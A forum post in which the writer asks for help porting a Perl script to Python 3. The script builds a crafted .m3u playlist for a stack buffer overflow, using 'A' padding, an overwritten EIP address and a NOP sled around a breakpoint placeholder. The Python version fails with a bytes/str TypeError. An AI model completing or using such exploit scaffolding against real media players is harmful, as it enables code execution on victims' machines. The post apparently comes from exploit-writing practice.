So here is the original Perl code:
- Code: Select all
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
And here's what I try in Python (3.1):
- Code: Select all
from struct import pack
filename = 'test1.m3u'
junk = "A" * 26059
eip = pack('L', 0x0015fcc4)
shellcode = "\x90" * 25
shellcode = shellcode + "\xcc"
shellcode = shellcode + ("\x900" * 25)
file = open(filename, 'wb')
file.write(junk + eip + shellcode)
file.close()
print("m3u file created succesfully")
But it consistently gives me the:
- Code: Select all
Traceback (most recent call last):
File "C:\Buffer Overflow\crash.py", line 9, in <module>
file.write(junk + eip + shellcode)
TypeError: Can't convert 'bytes' object to str implicitly
I've tried lots of other things, such as decoding, encoding, rewriting the pack() statement, and others, but I most consistently get that error, any suggestions?? (Other than "Learn Perl")





